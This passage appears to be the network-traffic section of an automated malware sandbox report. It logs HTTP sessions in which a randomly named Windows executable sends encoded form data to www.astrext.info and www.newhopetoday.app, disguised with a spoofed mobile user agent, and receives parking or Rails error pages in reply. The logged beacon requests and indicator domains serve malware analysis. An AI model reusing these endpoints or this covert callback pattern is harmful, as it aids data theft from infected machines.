61 72 37 4e 30 37 35 38 69 56 4d 4a 69 35 33 54 72 4f 76 69 69 36 59 42 4e 6f 63 74 53 4a 59 62 5a 73 6a 59 51 43 6f 68 41 4b 61 42 50 76 4b 51 32 47 6e 53 37 Data Ascii: UTJ0bhC=RkQOYEjoxVItLb5lbmkY8pMOr2cGRTn0wjQrd3UW4G4DoB4JvWAJRq4PqejATCl4DqasUc4WK/9PJ2fI/Tr5YSzd8m1csrf008GRZShVO0NAqeWqmMw0hftUnHJWU+43kBiknMasA9YnEn7n1le6eQsb0TkzLMhTAUXkjOXar7N0758iVMJi53TrOvii6YBNoctSJYbZsjYQCohAKaBPvKQ2GnS7
Dec 10, 2024 16:24:34.583764076 CET	780	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 10 Dec 2024 15:24:34 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 [TRUNCATED] Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49884	217.160.0.132	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:35.988241911 CET	1822	OUT	POST /8u3q/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.astrext.info Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.astrext.info Referer: http://www.astrext.info/8u3q/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 52 6b 51 4f 59 45 6a 6f 78 56 49 74 4c 62 35 6c 62 6d 6b 59 38 70 4d 4f 72 32 63 47 52 54 6e 30 77 6a 51 72 64 33 55 57 34 47 77 44 6f 7a 77 4a 2b 46 34 4a 51 71 34 50 72 65 6a 44 54 43 6b 36 44 71 54 6c 55 63 45 67 4b 35 35 50 47 77 44 49 2b 69 72 35 57 69 7a 64 31 47 31 64 76 62 65 32 30 2f 75 76 5a 54 52 56 4f 30 4e 41 71 63 4f 71 6f 4a 45 30 6a 66 74 58 33 33 49 5a 51 2b 35 6f 6b 42 37 5a 6e 4d 4f 38 42 4e 34 6e 46 48 72 6e 33 58 32 36 45 51 73 4f 39 44 6b 37 4c 4d 74 4d 41 55 4c 67 6a 4f 54 77 72 35 64 30 35 34 6c 44 47 66 42 6c 71 42 61 4b 44 76 47 51 6b 34 52 38 76 4e 77 6d 49 72 6a 33 77 33 45 63 49 4f 42 66 4a 49 38 43 73 74 6f 32 49 53 6a 6b 44 48 4a 68 4b 68 34 36 4c 33 77 6c 74 6b 71 64 45 4e 4f 70 74 71 53 71 39 6e 4e 4a 54 5a 52 64 6c 37 77 72 55 5a 48 32 6e 51 61 71 66 71 46 6f 43 4a 59 62 7a 7a 36 45 67 30 39 31 51 42 6f 6a 62 4d 2b 48 6f 6a 34 4c 6f 78 47 45 4c 7a 43 7a 62 66 49 61 57 2f 47 61 34 45 4b 4a 55 53 6b 34 6f 4c 2f 77 4f 54 76 52 48 4f 31 37 65 66 [TRUNCATED] Data Ascii: UTJ0bhC=RkQOYEjoxVItLb5lbmkY8pMOr2cGRTn0wjQrd3UW4GwDozwJ+F4JQq4PrejDTCk6DqTlUcEgK55PGwDI+ir5Wizd1G1dvbe20/uvZTRVO0NAqcOqoJE0jftX33IZQ+5okB7ZnMO8BN4nFHrn3X26EQsO9Dk7LMtMAULgjOTwr5d054lDGfBlqBaKDvGQk4R8vNwmIrj3w3EcIOBfJI8Csto2ISjkDHJhKh46L3wltkqdENOptqSq9nNJTZRdl7wrUZH2nQaqfqFoCJYbzz6Eg091QBojbM+Hoj4LoxGELzCzbfIaW/Ga4EKJUSk4oL/wOTvRHO17efwKq40yOeJ51npXA0qVAmGIrnU6SRjc757r2P7WbmvD94vBRl5XFCw0I4WRWkN9iuF7tjSQW841y/oQduXCc4B/LL3lqtiUZT7ss5bcolGgSM1dqUl2NdOzJUGQ6X6Az6r9HDZKbGvliL5tsbvCqGUQO+qqP1RSUh49x6zP8Mpd0ixhH9IUojT37rNArVVjsjHeDiRsWBAVp2oGlxQe1rNDxlWlK/dr77BmPxUHK9J9VhBWdF/gPHe3lWvJ0hrA/UqfhpRq4VlkIAQGTrlTJxxjCFOAjFZ3NJihRMOoeRwy0CBtsNS4nFZ/v4PwuYAcWaZ8LvEcfgo+EOIT9ON70wAzlkbQzmSolmLu5AOB/BiDv554QHT3gf0UV9HxQa+6cNVVaUQh3mg7OD9TK5+hnuDEADKQ/Ns502OstekmLfAKv+VEW4wnBm5ko0pz9v2vsMjFW1Qe6isC1oPco5G9HHAqxGKjyBk+t/Yx/uIpuUGgEUc4tEsuBdhBKBh0CQfT7iJ1OyEinQOFKE+X7SbQ2kZtVk5VK1PrSPR4QpX5uf41mqVSM/IZIsjA2P1krQkiCb94Y1oi4iL1lYYjacH0OSzKzP3BlQb1wrfF+SwEjydwPyyod5Gdh+3r14sWOxE9V3qXdqN56D1BxAP0kTyiS3XC4D3kuieT0mas [TRUNCATED]
Dec 10, 2024 16:24:37.361088991 CET	780	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 10 Dec 2024 15:24:37 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 [TRUNCATED] Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49894	217.160.0.132	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:38.658546925 CET	532	OUT	GET /8u3q/?UTJ0bhC=cm4ubz77/lIwMrhkdRh+pZgL/Bl5XR/XxQMTOGkT00YioQcuvl4ad7FbuK2ZVTUxGoXbXPFIPc1cKkfmvUrJch/nk290kcPG1JSPbhB/GQRlqu+N9s0n8p9+2HNGTNszmQ==&Pt=fDlHoNWP0RBd HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.astrext.info Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Dec 10, 2024 16:24:39.938147068 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 1271 Connection: close Date: Tue, 10 Dec 2024 15:24:39 GMT Server: Apache X-Frame-Options: deny Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <style type="text/css"> html, body, #partner, iframe { height:100%; width:100%; margin:0; padding:0; border:0; outline:0; font-size:100%; vertical-align:baseline; background:transparent; } body { overflow:hidden; } </style> <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"> </head> <body> <div id="partner"> </div> <script type="text/javascript"> document.write( '<script type="text/javascript" language="JavaScript"' + [TRUNCATED]
Dec 10, 2024 16:24:39.938679934 CET	203	IN	Data Raw: 20 20 20 20 20 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 20 2b 20 27 2f 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 27 49 4f 4e 4f 53 50 61 72 6b 69 6e 67 55 4b 27 0a Data Ascii: + window.location.host + '/' + 'IONOSParkingUK' + '/park.js">' + '<\/script>' ); </script> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49911	216.40.34.41	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:46.054102898 CET	797	OUT	POST /f83s/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.newhopetoday.app Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.newhopetoday.app Referer: http://www.newhopetoday.app/f83s/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 59 67 32 71 35 6f 5a 2f 5a 6f 4b 6f 59 50 65 79 67 7a 31 6b 6f 58 31 2b 74 4b 73 64 70 6d 49 51 72 43 45 30 58 4a 54 64 62 4e 70 6f 50 6b 4b 5a 6f 66 50 69 2f 69 38 6f 45 66 62 35 58 37 36 66 54 48 65 64 44 75 63 56 70 35 4b 4f 44 39 76 55 34 45 33 57 4a 34 5a 4b 43 38 6e 4c 71 37 52 56 47 34 79 48 2b 72 42 56 4c 77 74 68 45 6c 50 33 77 35 63 74 36 55 34 54 67 71 5a 49 70 32 6f 57 75 43 58 50 71 6f 4f 4d 78 6b 42 7a 4c 43 4e 58 4e 30 6f 59 37 47 2b 64 6b 78 64 62 65 53 70 6f 61 45 43 4c 62 73 33 43 70 45 36 6b 5a 6f 7a 55 35 4b 74 77 71 4d 47 79 73 2f 53 6d 45 39 64 49 6c 44 6a 37 36 43 38 3d Data Ascii: UTJ0bhC=Yg2q5oZ/ZoKoYPeygz1koX1+tKsdpmIQrCE0XJTdbNpoPkKZofPi/i8oEfb5X76fTHedDucVp5KOD9vU4E3WJ4ZKC8nLq7RVG4yH+rBVLwthElP3w5ct6U4TgqZIp2oWuCXPqoOMxkBzLCNXN0oY7G+dkxdbeSpoaECLbs3CpE6kZozU5KtwqMGys/SmE9dIlDj76C8=
Dec 10, 2024 16:24:47.191873074 CET	1236	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=UTF-8 x-request-id: 679f2543-3481-4a3d-a4e3-5e9e2ad5c117 x-runtime: 0.029777 content-length: 17134 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <title>Action Controller: Exception caught</title> <style> body { background-color: #FAFAFA; color: #333; margin: 0px; } body, p, ol, ul, td { font-family: helvetica, verdana, arial, sans-serif; font-size: 13px; line-height: 18px; } pre { font-size: 11px; white-space: pre-wrap; } pre.box { border: 1px solid #EEE; padding: 10px; margin: 0px; width: 958px; } header { color: #F0F0F0; background: #C52F24; padding: 0.5em 1.5em; } h1 { margin: 0.2em 0; line-height: 1.1em; font-size: 2em; } h2 { color: #C52F24; line-height: 25px; } .details { border: 1px solid #D0D0D0; border-radius: 4px; margin: 1em 0px; display: block; width: 978px; } .summary { padding: 8px 15px; border-bottom: 1px solid #D0D0D0; [TRUNCATED]
Dec 10, 2024 16:24:47.192409992 CET	1236	IN	Data Raw: 70 72 65 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 62 6f 78 2d 73 69 7a Data Ascii: pre { margin: 5px; border: none; } #container { box-sizing: border-box; width: 100%; padding: 0 1.5em; } .source * { margin: 0px; padding: 0px; } .source { border: 1px
Dec 10, 2024 16:24:47.192423105 CET	448	IN	Data Raw: 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c 65 20 74 68 65 61 64 20 74 72 2e 62 6f 74 74 6f 6d 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c Data Ascii: } #route_table thead tr.bottom { border-bottom: none; } #route_table thead tr.bottom th { padding: 10px 0; line-height: 15px; } #route_table thead tr.bottom th input#search { -webkit-appearance: textfield; }
Dec 10, 2024 16:24:47.193926096 CET	1236	IN	Data Raw: 65 73 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 4c 69 67 68 74 47 6f 6c 64 65 6e 52 6f 64 59 65 6c 6c 6f 77 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 32 70 78 20 53 6c 61 74 Data Ascii: es { background-color: LightGoldenRodYellow; border-bottom: solid 2px SlateGrey; } #route_table tbody.exact_matches tr, #route_table tbody.fuzzy_matches tr { background: none; border-bottom: none; } #route_table td
Dec 10, 2024 16:24:47.193939924 CET	1236	IN	Data Raw: 54 72 61 63 65 26 23 33 39 3b 29 3b 73 68 6f 77 28 26 23 33 39 3b 41 70 70 6c 69 63 61 74 69 6f 6e 2d 54 72 61 63 65 26 23 33 39 3b 29 3b 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e 41 70 70 6c 69 63 61 74 69 6f 6e 20 54 72 61 63 65 3c 2f Data Ascii: Trace');show('Application-Trace');; return false;">Application Trace</a> \| <a href="#" onclick="hide('Application-Trace');hide('Full-Trace');show('Framework-Trace');; return false;">Framework Trace</a> \|
Dec 10, 2024 16:24:47.196099043 CET	1236	IN	Data Raw: 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 35 22 20 68 72 65 66 3d 22 23 22 3e 72 65 71 75 65 73 74 5f 73 74 6f 72 65 20 28 31 2e 35 2e 30 29 20 6c 69 Data Ascii: /a><br><a class="trace-frames" data-frame-id="5" href="#">request_store (1.5.0) lib/request_store/middleware.rb:19:in `call'</a><br><a class="trace-frames" data-frame-id="6" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/reques
Dec 10, 2024 16:24:47.196110964 CET	1236	IN	Data Raw: 75 72 61 74 69 6f 6e 2e 72 62 3a 32 32 38 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 31 35 22 20 68 72 65 Data Ascii: uration.rb:228:in `call'</a><br><a class="trace-frames" data-frame-id="15" href="#">puma (4.3.9) lib/puma/server.rb:718:in `handle_request'</a><br><a class="trace-frames" data-frame-id="16" href="#">puma (4.3.9) lib/puma/server.rb:472:
Dec 10, 2024 16:24:47.198530912 CET	1236	IN	Data Raw: 70 61 74 63 68 2f 6d 69 64 64 6c 65 77 61 72 65 2f 72 65 6d 6f 74 65 5f 69 70 2e 72 62 3a 38 31 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 Data Ascii: patch/middleware/remote_ip.rb:81:in `call'</a><br><a class="trace-frames" data-frame-id="5" href="#">request_store (1.5.0) lib/request_store/middleware.rb:19:in `call'</a><br><a class="trace-frames" data-frame-id="6" href="#">actionpac
Dec 10, 2024 16:24:47.198549032 CET	1236	IN	Data Raw: 65 2d 69 64 3d 22 31 34 22 20 68 72 65 66 3d 22 23 22 3e 70 75 6d 61 20 28 34 2e 33 2e 39 29 20 6c 69 62 2f 70 75 6d 61 2f 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 72 62 3a 32 32 38 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 Data Ascii: e-id="14" href="#">puma (4.3.9) lib/puma/configuration.rb:228:in `call'</a><br><a class="trace-frames" data-frame-id="15" href="#">puma (4.3.9) lib/puma/server.rb:718:in `handle_request'</a><br><a class="trace-frames" data-frame-id="16
Dec 10, 2024 16:24:47.200855017 CET	1236	IN	Data Raw: 65 20 3d 20 74 61 72 67 65 74 3b 0a 0a 20 20 20 20 20 20 20 20 2f 2f 20 43 68 61 6e 67 65 20 74 68 65 20 65 78 74 72 61 63 74 65 64 20 73 6f 75 72 63 65 20 63 6f 64 65 0a 20 20 20 20 20 20 20 20 63 68 61 6e 67 65 53 6f 75 72 63 65 45 78 74 72 61 Data Ascii: e = target; // Change the extracted source code changeSourceExtract(frame_id); }); function changeSourceExtract(frame_id) { var el = document.getElementById('frame-source-' + frame_id); if (current
Dec 10, 2024 16:24:47.313241959 CET	1236	IN	Data Raw: 20 20 3c 74 62 6f 64 79 20 63 6c 61 73 73 3d 27 66 75 7a 7a 79 5f 6d 61 74 63 68 65 73 27 20 69 64 3d 27 66 75 7a 7a 79 5f 6d 61 74 63 68 65 73 27 3e 0a 20 20 3c 2f 74 62 6f 64 79 3e 0a 20 20 3c 74 62 6f 64 79 3e 0a 20 20 20 20 3c 74 72 20 63 6c Data Ascii: <tbody class='fuzzy_matches' id='fuzzy_matches'> </tbody> <tbody> <tr class='route_row' data-helper='path'> <td data-route-name='root'> root<span class='helper'>_path</span> </td> <td> GET </td> <td data-route-pat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49917	216.40.34.41	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:48.716372013 CET	817	OUT	POST /f83s/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.newhopetoday.app Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.newhopetoday.app Referer: http://www.newhopetoday.app/f83s/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 59 67 32 71 35 6f 5a 2f 5a 6f 4b 6f 65 66 75 79 76 30 70 6b 74 33 31 39 70 36 73 64 67 47 49 55 72 43 59 30 58 4d 72 4e 62 37 35 6f 4d 42 75 5a 76 61 6a 69 34 69 38 6f 51 76 62 38 49 72 36 57 54 48 69 7a 44 71 55 56 70 36 32 4f 44 34 72 55 34 31 33 58 49 6f 5a 4d 62 73 6e 4a 6b 62 52 56 47 34 79 48 2b 72 56 7a 4c 77 6c 68 45 57 58 33 7a 59 64 66 6b 45 34 53 6e 71 5a 49 69 57 6f 61 75 43 58 74 71 70 69 32 78 6e 35 7a 4c 48 78 58 4b 68 45 66 31 32 2b 66 71 52 63 54 51 68 55 77 53 46 32 32 52 4f 47 43 33 45 6d 51 59 65 43 2b 6a 6f 6c 59 35 73 71 4b 38 73 61 52 56 4e 38 68 2f 67 7a 4c 6b 56 72 38 33 55 50 57 73 70 69 75 62 42 71 38 32 68 38 4f 32 63 67 51 Data Ascii: UTJ0bhC=Yg2q5oZ/ZoKoefuyv0pkt319p6sdgGIUrCY0XMrNb75oMBuZvaji4i8oQvb8Ir6WTHizDqUVp62OD4rU413XIoZMbsnJkbRVG4yH+rVzLwlhEWX3zYdfkE4SnqZIiWoauCXtqpi2xn5zLHxXKhEf12+fqRcTQhUwSF22ROGC3EmQYeC+jolY5sqK8saRVN8h/gzLkVr83UPWspiubBq82h8O2cgQ
Dec 10, 2024 16:24:49.853225946 CET	1236	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=UTF-8 x-request-id: b48f66f8-e84b-437c-80bf-e31ef0255395 x-runtime: 0.021908 content-length: 17154 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <title>Action Controller: Exception caught</title> <style> body { background-color: #FAFAFA; color: #333; margin: 0px; } body, p, ol, ul, td { font-family: helvetica, verdana, 